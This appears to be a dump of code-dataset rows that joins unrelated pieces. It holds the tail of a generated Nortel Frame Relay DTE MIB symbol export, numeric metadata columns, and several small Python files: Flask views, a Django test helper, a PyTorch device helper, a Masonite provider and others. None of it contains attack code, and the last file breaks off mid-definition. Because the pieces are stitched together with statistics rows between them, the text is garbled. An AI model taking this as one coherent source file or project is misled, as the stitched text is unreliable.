frDteLmiProcedures=frDteLmiProcedures, frDteFramerUtilEntry=frDteFramerUtilEntry, frameRelayDteCapabilitiesBE00=frameRelayDteCapabilitiesBE00, frDteLmi=frDteLmi, frDteLeqRowStatusTable=frDteLeqRowStatusTable, frDteIfEntryEntry=frDteIfEntryEntry, frDteDynDlciDefsIndex=frDteDynDlciDefsIndex, frDteStDlciHqStorageType=frDteStDlciHqStorageType, frDteDynDlciDefsRowStatusEntry=frDteDynDlciDefsRowStatusEntry, frDteLeqRowStatus=frDteLeqRowStatus, frDteFramerUsageState=frDteFramerUsageState, frDteStDlciHqByteThresholdExceeded=frDteStDlciHqByteThresholdExceeded, frDteVFramerProvEntry=frDteVFramerProvEntry, frDteStDlciHqCStatsEntry=frDteStDlciHqCStatsEntry, frDteStDlciHqCurrentPktQueued=frDteStDlciHqCurrentPktQueued, frDteStDlciHqTotalPktForwarded=frDteStDlciHqTotalPktForwarded, frDteFramerNonOctetErrors=frDteFramerNonOctetErrors, frDteReceiveShort=frDteReceiveShort, frDteDlciCreationType=frDteDlciCreationType, frDteXmitDiscardFramerDown=frDteXmitDiscardFramerDown, frDteRgBfrBfrIndex=frDteRgBfrBfrIndex, frDteCidDataEntry=frDteCidDataEntry, frDteDlciRowStatusEntry=frDteDlciRowStatusEntry, frDteStDlciHq=frDteStDlciHq, frDteStDlciHqProvEntry=frDteStDlciHqProvEntry, frameRelayDteCapabilities=frameRelayDteCapabilities, frDteRgBfrProvTable=frDteRgBfrProvTable, frDteFramerStatsEntry=frDteFramerStatsEntry, frDteStDlciHqTotalPktQueued=frDteStDlciHqTotalPktQueued, frDteStDlciHqCurrentMulticastQueued=frDteStDlciHqCurrentMulticastQueued, frDteDlciExcessBurstAction=frDteDlciExcessBurstAction, frDteOperEntry=frDteOperEntry, frDteErrDiscards=frDteErrDiscards, frameRelayDteMIB=frameRelayDteMIB, frDteRgLtDlciValue=frDteRgLtDlciValue, frDteRgBfrComponentName=frDteRgBfrComponentName, frDteRecvDiscardPvcInactive=frDteRecvDiscardPvcInactive, frDteDynDlciDefs=frDteDynDlciDefs, frameRelayDteGroupBE00=frameRelayDteGroupBE00, frDteVFramerProvTable=frDteVFramerProvTable, frDteStDlciHqTStatsEntry=frDteStDlciHqTStatsEntry, frDteFramerAdminState=frDteFramerAdminState, frDteLmiProvTable=frDteLmiProvTable, frDteRgLtDlciTable=frDteRgLtDlciTable, frDteLeqTStatsEntry=frDteLeqTStatsEntry, frDteVFramerStorageType=frDteVFramerStorageType, frDteLmiOperEntry=frDteLmiOperEntry, frDteRgLinkToProtocolPort=frDteRgLinkToProtocolPort, frDteVFramerOctetFromOtherVFramer=frDteVFramerOctetFromOtherVFramer, frDteErrData=frDteErrData, frDteStDlciHqThrStatsEntry=frDteStDlciHqThrStatsEntry, frDteIfAdminStatus=frDteIfAdminStatus, frameRelayDteCapabilitiesBE=frameRelayDteCapabilitiesBE, frDteRowStatusTable=frDteRowStatusTable, frDteDlciReceivedOctets=frDteDlciReceivedOctets, frDteDlciReceivedFrames=frDteDlciReceivedFrames, frDteLeqThrStatsTable=frDteLeqThrStatsTable, frDteStDlciHqPktThresholdExceeded=frDteStDlciHqPktThresholdExceeded, frDteVFramerRowStatusEntry=frDteVFramerRowStatusEntry, frDteRgIfAdminStatus=frDteRgIfAdminStatus, frDteStDlciHqTotalPktDiscards=frDteStDlciHqTotalPktDiscards, frDteStDlciHqRowStatusEntry=frDteStDlciHqRowStatusEntry, frDteDlciDiscardedFrames=frDteDlciDiscardedFrames, frDteDlciUsageState=frDteDlciUsageState, frDteFramerFrmToIf=frDteFramerFrmToIf, frDteStDlciProvEntry=frDteStDlciProvEntry, frDteFramer=frDteFramer, frDteLeqCStatsEntry=frDteLeqCStatsEntry, frDteDynDlciDefsRateEnforcement=frDteDynDlciDefsRateEnforcement, frDteRgBfrOprTable=frDteRgBfrOprTable, frDteStDlciHqThrStatsTable=frDteStDlciHqThrStatsTable, frDteRgStateEntry=frDteRgStateEntry, frDteRgIfEntryEntry=frDteRgIfEntryEntry, frDteLeqByteThresholdExceeded=frDteLeqByteThresholdExceeded, frDteLeqTimeToLive=frDteLeqTimeToLive, frDteLmiRowStatusEntry=frDteLmiRowStatusEntry, frDteErrStatsEntry=frDteErrStatsEntry, frDteStDlciHqStatsTable=frDteStDlciHqStatsTable, frDteFramerIndex=frDteFramerIndex, frDteLeqQueuePurgeDiscards=frDteLeqQueuePurgeDiscards, frDteDlciRowStatusTable=frDteDlciRowStatusTable, frDteRgBfrIndex=frDteRgBfrIndex, frDteDynDlciDefsRowStatus=frDteDynDlciDefsRowStatus, frDteStDlciRateEnforcement=frDteStDlciRateEnforcement, frDteXmitDiscardPvcDown=frDteXmitDiscardPvcDown, frDteLmiMonitoredEvents=frDteLmiMonitoredEvents, frDteDynDlciDefsExcessBurst=frDteDynDlciDefsExcessBurst, frDteUsageState=frDteUsageState, frDteRgBfrStorageType=frDteRgBfrStorageType, frDteStDlciStorageType=frDteStDlciStorageType, frDteRgBfrProvEntry=frDteRgBfrProvEntry, frDteErrTime=frDteErrTime, frDteLeqPktThresholdExceeded=frDteLeqPktThresholdExceeded, frDteStDlciExcessBurstAction=frDteStDlciExcessBurstAction, frDteFramerInterfaceName=frDteFramerInterfaceName, frDteStDlciRowStatusTable=frDteStDlciRowStatusTable, frDteStDlciHqQueueByteThreshold=frDteStDlciHqQueueByteThreshold, frDteStateTable=frDteStateTable, frDteStDlciRgLinkTable=frDteStDlciRgLinkTable, frDteRgLtDlciEntry=frDteRgLtDlciEntry, frDteDlciOperTable=frDteDlciOperTable, frDteRgBfrRowStatusTable=frDteRgBfrRowStatusTable, frDteRecvDiscardPvcDown=frDteRecvDiscardPvcDown, frDteVFramerStateTable=frDteVFramerStateTable, frDteRecvDiscardLmiInactive=frDteRecvDiscardLmiInactive, frDteDynDlciDefsStdRowStatus=frDteDynDlciDefsStdRowStatus, frDteDefragSequenceErrors=frDteDefragSequenceErrors, frDteDlci=frDteDlci, frDteStDlciProvTable=frDteStDlciProvTable, frDteDynDlciDefsProvEntry=frDteDynDlciDefsProvEntry, frDteDynDlciDefsRowStatusTable=frDteDynDlciDefsRowStatusTable, frDteDlciSentOctets=frDteDlciSentOctets, frDteLeqStorageType=frDteLeqStorageType, frDteProvEntry=frDteProvEntry, frDteLinkOperState=frDteLinkOperState, frDteStDlciHqTStatsTable=frDteStDlciHqTStatsTable, frDteLeqStatsEntry=frDteLeqStatsEntry, frDteDlciStateEntry=frDteDlciStateEntry, frDteDlciRowStatus=frDteDlciRowStatus, frDteRgRowStatusEntry=frDteRgRowStatusEntry, frDteStDlciHqMaxMsecData=frDteStDlciHqMaxMsecData, frDteLeqTotalMulticastPkt=frDteLeqTotalMulticastPkt, frDteRowStatusEntry=frDteRowStatusEntry, frDteDynDlciDefsExcessBurstAction=frDteDynDlciDefsExcessBurstAction, frDteVFramerStatsEntry=frDteVFramerStatsEntry, frDteDlciCommittedInformationRate=frDteDlciCommittedInformationRate, frDteStDlciHqMemThresholdExceeded=frDteStDlciHqMemThresholdExceeded, frDteStDlciHqTotalPktHandled=frDteStDlciHqTotalPktHandled, frDteErrTable=frDteErrTable, frDteVFramerComponentName=frDteVFramerComponentName, frDteCidDataTable=frDteCidDataTable, frDteIfEntryTable=frDteIfEntryTable, frDteStDlciHqRowStatusTable=frDteStDlciHqRowStatusTable, frDteAdminState=frDteAdminState, frDteRgComponentName=frDteRgComponentName, frDteLeqTimedOutPkt=frDteLeqTimedOutPkt, frDteRgMpEntry=frDteRgMpEntry, frDteLeqCurrentPktQueued=frDteLeqCurrentPktQueued, frDteRgMaxTransmissionUnit=frDteRgMaxTransmissionUnit, frDteStDlciHqTotalMulticastPkt=frDteStDlciHqTotalMulticastPkt, frDteDlcmiUnknownIe=frDteDlcmiUnknownIe, frDteRgUsageState=frDteRgUsageState, frDteRg=frDteRg, frDteDlciExcessBurst=frDteDlciExcessBurst, frDteDynDlciDefsIpCos=frDteDynDlciDefsIpCos, frDteDlciStateTable=frDteDlciStateTable, frDteRgMpTable=frDteRgMpTable, frDteStateEntry=frDteStateEntry, frDteFramerRowStatus=frDteFramerRowStatus, frDteRgOperStatusEntry=frDteRgOperStatusEntry, frDteRgRowStatus=frDteRgRowStatus, frDteLmiErrorThreshold=frDteLmiErrorThreshold, frDteFramerCrcErrors=frDteFramerCrcErrors, frDteVFramerStatsTable=frDteVFramerStatsTable, frDteDlciCommittedBurst=frDteDlciCommittedBurst)
mibBuilder.exportSymbols("Nortel-Magellan-Passport-FrameRelayDteMIB", frDteFramerNormPrioLinkUtilFromIf=frDteFramerNormPrioLinkUtilFromIf, frDteVFramerLogicalProcessor=frDteVFramerLogicalProcessor, frDteXmitDiscardCirExceeded=frDteXmitDiscardCirExceeded, frDteLmiProvEntry=frDteLmiProvEntry, frDteLeqThrStatsEntry=frDteLeqThrStatsEntry, frDteRgSnmpOperStatus=frDteRgSnmpOperStatus, frDteRgRowStatusTable=frDteRgRowStatusTable, frDteFramerUnderruns=frDteFramerUnderruns, frDteRowStatus=frDteRowStatus, frDteFramerOverruns=frDteFramerOverruns, frDteLeqIndex=frDteLeqIndex, frameRelayDteGroup=frameRelayDteGroup, frDteDlciCreationTime=frDteDlciCreationTime, frDteStDlciCommittedBurst=frDteStDlciCommittedBurst, frDteDlciOperEntry=frDteDlciOperEntry, frDteDlciReceivedBECNs=frDteDlciReceivedBECNs, frDteOperationalState=frDteOperationalState, frDteRgBfrRowStatusEntry=frDteRgBfrRowStatusEntry, frDteRgLtDlciRowStatus=frDteRgLtDlciRowStatus, frDteXmitDiscardPvcInactive=frDteXmitDiscardPvcInactive, frDteStDlciComponentName=frDteStDlciComponentName, frDteRgBfrOprEntry=frDteRgBfrOprEntry, frDteLeqCurrentBytesQueued=frDteLeqCurrentBytesQueued, frDteLeqMaxPercentMulticast=frDteLeqMaxPercentMulticast, frDteBadFc=frDteBadFc, frDteStDlciHqProvTable=frDteStDlciHqProvTable, frDteDlciReceivedFECNs=frDteDlciReceivedFECNs, frDteFramerRowStatusTable=frDteFramerRowStatusTable, frDteStDlciHqQueuePktThreshold=frDteStDlciHqQueuePktThreshold, frDteLmiComponentName=frDteLmiComponentName, frDteDynDlciDefsStorageType=frDteDynDlciDefsStorageType, frDteLeqCStatsTable=frDteLeqCStatsTable, frDteLeqStatsTable=frDteLeqStatsTable, frDteLeqQueueByteThreshold=frDteLeqQueueByteThreshold, frDteStDlciHqMaxPackets=frDteStDlciHqMaxPackets, frDteVFramerRowStatusTable=frDteVFramerRowStatusTable, frDteErrFaults=frDteErrFaults, frDteIfIndex=frDteIfIndex, frDteFramerFrmFromIf=frDteFramerFrmFromIf, frDteAcceptUndefinedDlci=frDteAcceptUndefinedDlci, frDteDynDlciDefsCommittedBurst=frDteDynDlciDefsCommittedBurst, frDteDlciStorageType=frDteDlciStorageType, frDteOperStatusTable=frDteOperStatusTable, frDteLeqTotalPktDiscards=frDteLeqTotalPktDiscards, frDteDlciIndex=frDteDlciIndex, frDteLmiRowStatusTable=frDteLmiRowStatusTable, frDteLeqQueuePktThreshold=frDteLeqQueuePktThreshold, frDteDlciLastTimeChange=frDteDlciLastTimeChange, frDteVFramer=frDteVFramer, frDteVFramerFrmFromOtherVFramer=frDteVFramerFrmFromOtherVFramer, frDteLmiStorageType=frDteLmiStorageType, frDteLmiIndex=frDteLmiIndex, frDteLmiPollingInterval=frDteLmiPollingInterval, frDteLeqQueueMulticastThreshold=frDteLeqQueueMulticastThreshold, frDteFramerLrcErrors=frDteFramerLrcErrors, frDteFramerLargeFrmErrors=frDteFramerLargeFrmErrors, frDteStDlciHqQueuePurgeDiscards=frDteStDlciHqQueuePurgeDiscards, frDteOperTable=frDteOperTable, frDteFramerNormPrioLinkUtilToIf=frDteFramerNormPrioLinkUtilToIf, frDteDlcmiUnknownRpt=frDteDlcmiUnknownRpt, frDteStDlciHqMulThresholdExceeded=frDteStDlciHqMulThresholdExceeded, frDteStorageType=frDteStorageType, frDteErrStatsTable=frDteErrStatsTable, frDteRgIndex=frDteRgIndex)
| 141.96378 | 11,747 | 0.767557 | 9,992 | 90,147 | 6.92484 | 0.051341 | 0.018297 | 0.013788 | 0.018383 | 0.49492 | 0.474181 | 0.464613 | 0.457517 | 0.428555 | 0.387351 | 0 | 0.087376 | 0.082232 | 90,147 | 634 | 11,748 | 142.187697 | 0.748954 | 0.004171 | 0 | 0 | 0 | 0 | 0.127849 | 0.050768 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.094099 | 0.014354 | 0 | 0.014354 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
591d15b6e4963e758d53a6c4948747a4280922b3 | 93 | py | Python | .ipython/profile_default/ipython_kernel_config.py | tuliocasagrande/dotfiles | f3f0eba646980f6020c51cd0ebebf2c0b6348c1a | [
"MIT"
] | 2 | 2021-06-22T17:36:36.000Z | 2021-06-22T17:58:10.000Z | .ipython/profile_default/ipython_kernel_config.py | tuliocasagrande/dotfiles | f3f0eba646980f6020c51cd0ebebf2c0b6348c1a | [
"MIT"
] | null | null | null | .ipython/profile_default/ipython_kernel_config.py | tuliocasagrande/dotfiles | f3f0eba646980f6020c51cd0ebebf2c0b6348c1a | [
"MIT"
] | null | null | null | # Enable high resolution images (pixel-doubled PNG)
c.InlineBackend.figure_format = 'retina'
| 31 | 51 | 0.795699 | 12 | 93 | 6.083333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107527 | 93 | 2 | 52 | 46.5 | 0.879518 | 0.526882 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5931ce654568540c4ce8b6bd92db37890b81b9a7 | 1,376 | py | Python | app/views.py | NAU-CFL/CFL_Website | ee8ffbd2464b965ade39332ae61daf2424cb52e5 | [
"MIT"
] | null | null | null | app/views.py | NAU-CFL/CFL_Website | ee8ffbd2464b965ade39332ae61daf2424cb52e5 | [
"MIT"
] | null | null | null | app/views.py | NAU-CFL/CFL_Website | ee8ffbd2464b965ade39332ae61daf2424cb52e5 | [
"MIT"
] | null | null | null | from app import app
from flask import render_template, make_response, redirect
# Route decorators to referance urls
@app.route('/')
def index():
user = {'nickname': 'Kemal'} # fake user
posts = [ # fake array of posts
{
'author': {'nickname': 'John'},
'body': 'Beautiful day in Portland!'
},
{
'author': {'nickname': 'Susan'},
'body': 'The Avengers movie was so cool!'
}
]
return render_template('index.html',
title='Home',
user=user,
posts=posts)
@app.route('/scripts')
def scripts():
return render_template('scripts.html')
@app.route('/about')
def about():
return render_template('about.html')
@app.route('/people')
def people():
return render_template('people.html')
@app.route('/research')
def research():
return render_template('research.html')
# Blog page will be linked to jekyll-markdown blog
@app.route('/blog')
def blog():
return redirect('http://eneskemalergin.github.io')
@app.route('/contact')
def contact():
return render_template('contact.html')
# Error Handlers
@app.errorhandler(404)
def page_not_found(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
| 25.018182 | 58 | 0.610465 | 160 | 1,376 | 5.1625 | 0.41875 | 0.152542 | 0.193705 | 0.050847 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017291 | 0.243459 | 1,376 | 54 | 59 | 25.481481 | 0.776177 | 0.093023 | 0 | 0 | 0 | 0 | 0.223833 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.209302 | false | 0 | 0.046512 | 0.186047 | 0.465116 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
3cb78349dbf66d85a1a25a0a37a07540aa70bedf | 1,152 | py | Python | tasks/tests/ext_test_case.py | jarnoln/mitasny | 4e20f0329983fc8f031d959d95e4907d64681d6c | [
"MIT"
] | null | null | null | tasks/tests/ext_test_case.py | jarnoln/mitasny | 4e20f0329983fc8f031d959d95e4907d64681d6c | [
"MIT"
] | 3 | 2020-02-12T00:13:42.000Z | 2020-06-05T17:56:47.000Z | tasks/tests/ext_test_case.py | jarnoln/mitasny | 4e20f0329983fc8f031d959d95e4907d64681d6c | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.core.urlresolvers import reverse
from django.contrib.auth.models import User
from tasks import models
class ExtTestCase(TestCase):
def create_and_log_in_user(self):
user = User.objects.create(username='test_user', email='tuser@iki.fi')
user.set_password('pw')
user.save()
self.client.post(reverse('login'), {'username': user.username, 'password': 'pw'})
return user
def create_default_phases(self):
models.Phase.objects.create(name='pending', title='Pending', order=1) # First of order is the initial phase
models.Phase.objects.create(name='ongoing', title='Ongoing', order=2)
models.Phase.objects.create(name='continuing', title='Continuing', order=3)
models.Phase.objects.create(name='finished', title='Finished', order=4)
models.Phase.objects.create(name='done', title='Done', order=5)
models.Phase.objects.create(name='blocked', title='Blocked', order=6)
models.Phase.objects.create(name='impediment', title='Impediment', order=7)
self.assertEqual(models.Phase.objects.all().count(), 7)
| 48 | 116 | 0.695313 | 151 | 1,152 | 5.251656 | 0.417219 | 0.131148 | 0.181589 | 0.211854 | 0.247163 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008247 | 0.157986 | 1,152 | 23 | 117 | 50.086957 | 0.809278 | 0.030382 | 0 | 0 | 0 | 0 | 0.136323 | 0 | 0 | 0 | 0 | 0 | 0.05 | 1 | 0.1 | false | 0.1 | 0.2 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
3cc53b5476660c487dcdc72a51462d4e26c05143 | 285 | py | Python | utils.py | haha94322/HMQAR | b753348c2f076cbb16770f66f4503245cf507301 | [
"Apache-2.0"
] | 111 | 2020-02-29T20:49:43.000Z | 2022-03-30T07:46:36.000Z | utils.py | haha94322/HMQAR | b753348c2f076cbb16770f66f4503245cf507301 | [
"Apache-2.0"
] | 17 | 2020-04-06T01:31:59.000Z | 2022-03-14T22:23:08.000Z | utils.py | haha94322/HMQAR | b753348c2f076cbb16770f66f4503245cf507301 | [
"Apache-2.0"
] | 23 | 2020-05-07T07:26:51.000Z | 2022-03-09T10:34:38.000Z | import torch
def todevice(tensor, device):
if isinstance(tensor, list) or isinstance(tensor, tuple):
assert isinstance(tensor[0], torch.Tensor)
return [todevice(t, device) for t in tensor]
elif isinstance(tensor, torch.Tensor):
return tensor.to(device) | 35.625 | 61 | 0.691228 | 37 | 285 | 5.324324 | 0.513514 | 0.324873 | 0.172589 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004405 | 0.203509 | 285 | 8 | 62 | 35.625 | 0.863436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.142857 | false | 0 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
3cca5e7cf07a65d7859f4b22e871a6532bd03b66 | 153 | py | Python | operators.py | sharmaronak79/python | 7d000a613087e522005083453630272bb48bb2ed | [
"MIT"
] | null | null | null | operators.py | sharmaronak79/python | 7d000a613087e522005083453630272bb48bb2ed | [
"MIT"
] | null | null | null | operators.py | sharmaronak79/python | 7d000a613087e522005083453630272bb48bb2ed | [
"MIT"
] | null | null | null | # tutorial 38 revison of chapter 2
a=int(input("enter first number : "))
b=int(input("enter second number : "))
total=a+b
print("total is " + str(total)) | 30.6 | 38 | 0.686275 | 26 | 153 | 4.038462 | 0.692308 | 0.152381 | 0.247619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022901 | 0.143791 | 153 | 5 | 39 | 30.6 | 0.778626 | 0.20915 | 0 | 0 | 0 | 0 | 0.433333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3cecab7c485645ed48be5791164950094590d495 | 342 | py | Python | fabfile/_utils.py | texastribune/armstrong.base | 5ad43276782856a976bbc20f3cb3e811b5fef04d | [
"BSD-3-Clause"
] | 2 | 2015-11-05T06:05:38.000Z | 2019-11-01T00:56:40.000Z | fabfile/_utils.py | texastribune/armstrong.base | 5ad43276782856a976bbc20f3cb3e811b5fef04d | [
"BSD-3-Clause"
] | null | null | null | fabfile/_utils.py | texastribune/armstrong.base | 5ad43276782856a976bbc20f3cb3e811b5fef04d | [
"BSD-3-Clause"
] | null | null | null | from fabric.api import *
from fabric.decorators import task
import os, sys
sys.path[0:0] = [os.path.join(os.path.realpath('.'), '..'), ]
try:
from d51.django.virtualenv.test_runner import run_tests
except ImportError, e:
import sys
sys.stderr.write("This project requires d51.django.virtualenv.test_runner\n")
sys.exit(-1)
| 24.428571 | 81 | 0.71345 | 52 | 342 | 4.634615 | 0.596154 | 0.082988 | 0.157676 | 0.190871 | 0.240664 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023973 | 0.146199 | 342 | 13 | 82 | 26.307692 | 0.80137 | 0 | 0 | 0 | 0 | 0 | 0.175953 | 0.102639 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.6 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
a72de72fe0ea0d3ac49889694592a2ab33b771a9 | 122 | py | Python | src/data_cleaning/data_cleaning_helpers.py | charlesxjyang/DeepGeyser | 59f54c67667800f091d7af1805c04bbc36c7624b | [
"Apache-2.0"
] | null | null | null | src/data_cleaning/data_cleaning_helpers.py | charlesxjyang/DeepGeyser | 59f54c67667800f091d7af1805c04bbc36c7624b | [
"Apache-2.0"
] | null | null | null | src/data_cleaning/data_cleaning_helpers.py | charlesxjyang/DeepGeyser | 59f54c67667800f091d7af1805c04bbc36c7624b | [
"Apache-2.0"
] | null | null | null |
def time_diff(time_vals):
time1 = time_vals
time2 = time_vals.shift(1)
delta = time1 - time2
return delta | 20.333333 | 30 | 0.663934 | 18 | 122 | 4.277778 | 0.555556 | 0.311688 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054945 | 0.254098 | 122 | 6 | 31 | 20.333333 | 0.791209 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a736d673052c855c2469ca5b0bd4832bf99918d7 | 128 | py | Python | learningPython/mundo1/teste01.py | SrTesch/LearningC | cd6d4c131c3e4617f8a19243ebf443dd78f621a2 | [
"MIT"
] | null | null | null | learningPython/mundo1/teste01.py | SrTesch/LearningC | cd6d4c131c3e4617f8a19243ebf443dd78f621a2 | [
"MIT"
] | null | null | null | learningPython/mundo1/teste01.py | SrTesch/LearningC | cd6d4c131c3e4617f8a19243ebf443dd78f621a2 | [
"MIT"
] | null | null | null | nome = input('Qual seu nome? ')
idade = input('Digite sua idade: ')
peso = input('Digite seu peso: ')
print(nome, idade, peso)
| 21.333333 | 35 | 0.65625 | 19 | 128 | 4.421053 | 0.473684 | 0.214286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171875 | 128 | 5 | 36 | 25.6 | 0.792453 | 0 | 0 | 0 | 0 | 0 | 0.390625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.25 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
5957a03143ce61e2d57a5ed898dee9922113ab00 | 87 | py | Python | PyStellar/stellar/commit/apps.py | psgstellar/Stellar | 947d4b3d9d6b9c74d4c9ebd29683793a8d86fad2 | [
"Apache-2.0"
] | 3 | 2021-01-24T17:07:55.000Z | 2021-02-20T20:11:13.000Z | PyStellar/stellar/commit/apps.py | psgstellar/Stellar | 947d4b3d9d6b9c74d4c9ebd29683793a8d86fad2 | [
"Apache-2.0"
] | 61 | 2021-01-10T12:59:01.000Z | 2021-06-24T09:19:20.000Z | PyStellar/stellar/commit/apps.py | psgstellar/Stellar | 947d4b3d9d6b9c74d4c9ebd29683793a8d86fad2 | [
"Apache-2.0"
] | 1 | 2021-01-14T05:23:32.000Z | 2021-01-14T05:23:32.000Z | from django.apps import AppConfig
class commitConfig(AppConfig):
name = 'commit'
| 14.5 | 33 | 0.747126 | 10 | 87 | 6.5 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172414 | 87 | 5 | 34 | 17.4 | 0.902778 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
5973eeeb855eff71a06f22a03aea4d8b377f49cf | 376 | py | Python | app/providers/LiveWire.py | josephmancuso/wire | 0167d854c7acf62c3c19f350d53b7f30dad0170c | [
"MIT"
] | 1 | 2020-09-15T15:29:48.000Z | 2020-09-15T15:29:48.000Z | app/providers/LiveWire.py | josephmancuso/wire | 0167d854c7acf62c3c19f350d53b7f30dad0170c | [
"MIT"
] | null | null | null | app/providers/LiveWire.py | josephmancuso/wire | 0167d854c7acf62c3c19f350d53b7f30dad0170c | [
"MIT"
] | null | null | null | """A LiveWire Service Provider."""
from masonite.provider import ServiceProvider
class LiveWire(ServiceProvider):
"""Provides Services To The Service Container."""
wsgi = False
def register(self):
"""Register objects into the Service Container."""
pass
def boot(self):
"""Boots services required by the container."""
pass
| 20.888889 | 58 | 0.654255 | 40 | 376 | 6.15 | 0.65 | 0.081301 | 0.154472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.242021 | 376 | 17 | 59 | 22.117647 | 0.863158 | 0.422872 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0.285714 | 0.142857 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
5978e6087b4ed042e64e67d598c095d45b8a3c77 | 668 | py | Python | Main.py | acailuv/IDX_Scraper | 22e34d561bebc31e05ef8efc2dd0b0523538797d | [
"MIT"
] | null | null | null | Main.py | acailuv/IDX_Scraper | 22e34d561bebc31e05ef8efc2dd0b0523538797d | [
"MIT"
] | null | null | null | Main.py | acailuv/IDX_Scraper | 22e34d561bebc31e05ef8efc2dd0b0523538797d | [
"MIT"
] | null | null | null | from flask import Flask, render_template, request, redirect
import webbrowser
from threading import Timer
import Utilities
app = Flask(__name__)
companies = Utilities.scrape_companies()
@app.route("/")
def index():
return render_template("index.html", companies=companies)
@app.route("/company_details/<code>/<name>/<der>/<pbv>/<roe>/<per>/<passed>")
